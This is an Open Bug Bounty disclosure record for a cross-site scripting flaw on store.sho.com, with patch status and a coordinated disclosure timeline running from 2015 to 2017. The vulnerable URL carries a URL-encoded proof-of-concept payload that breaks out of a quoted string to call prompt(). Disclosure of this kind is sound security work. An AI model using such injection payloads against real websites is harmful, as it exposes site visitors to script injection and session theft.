store.sho.com XSS vulnerability

2015-09-08T10:51:00
ID OBB:85139
Type openbugbounty
Reporter R3NW4
Modified 2017-07-25T17:07:00

Description

Vulnerable URL:
http://store.sho.com/search_sli.php?asug=&w;=%27%2Bprompt%28%2FXSSPOSED%2F%29%2B%27+R3NW4
Details:

Description| Value
---|---
Patched:| Yes, at 25.07.2017
Latest check for patch:| 25.07.2017 17:07 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
Google Pagerank| 7
VIP website status:| Yes
Check store.sho.com SSL connection:| (Grade: A-)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 8 September, 2015 10:51 GMT
Vulnerability existence verified and confirmed| 8 September, 2015 10:54 GMT
Vulnerability patched by the website owner| 25 July, 2017 17:07 GMT